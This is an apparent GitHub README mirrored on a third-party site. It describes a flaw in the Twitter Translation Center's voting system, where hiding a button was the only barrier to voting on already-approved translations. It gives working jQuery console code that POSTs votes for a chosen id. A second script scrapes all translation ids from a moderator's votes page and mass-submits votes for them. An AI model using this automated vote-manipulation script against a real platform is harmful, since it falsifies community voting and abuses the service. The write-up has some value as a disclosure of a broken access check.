Giter Site home page Giter Site logo

twitter_ttc's Introduction

Twitter Translation Center Bug/Hack

Twitter Translation Center Bug/Hack

Voting automatically in TTC translations

After analyzing the voting system of the TTC,

I noticed that the sending of the voting request was done through the POST method in the url

https://translate.twitter.com/translations/vote each translation has an id with 8 digits

When the translation is already approved, the only thing they do is hide The button,

that's when I realized that if I take the id of this approved translation and send it with the POST method the vote would be confirmed

Ex:

To send I used the Browser Console, you can find by pressing the "f12"

$.ajax({
  type: "POST",
  url: 'https://translate.twitter.com/translations/vote',
  data: 'id=12345678',
});

#It's working! After my theory was confirmed, I decided to automate the procedure.

If you join the profile of a TCC moderator, you may note that in the "Votes" or "Translations" area

they will contain translations and votes already approved by this moderator..

Ex:

https://translate.twitter.com/user/MODERATOR/votes

With the help of JavaScript

I was able to extract the ID's of the approved translations and send them via POST as a normal voting day

var c = document.getElementsByClassName("toggle").length;
for (i = 0; i < c; i++){
	var id = (document.getElementsByClassName("toggle").item(i).getAttribute("data-id"));	
$.ajax({
  type: "POST",
  url: 'https://translate.twitter.com/translations/vote',
  data: 'id=' + id ,
});
console.log('foi ' + id);
}

twitter_ttc's People

Contributors

elbertavares avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.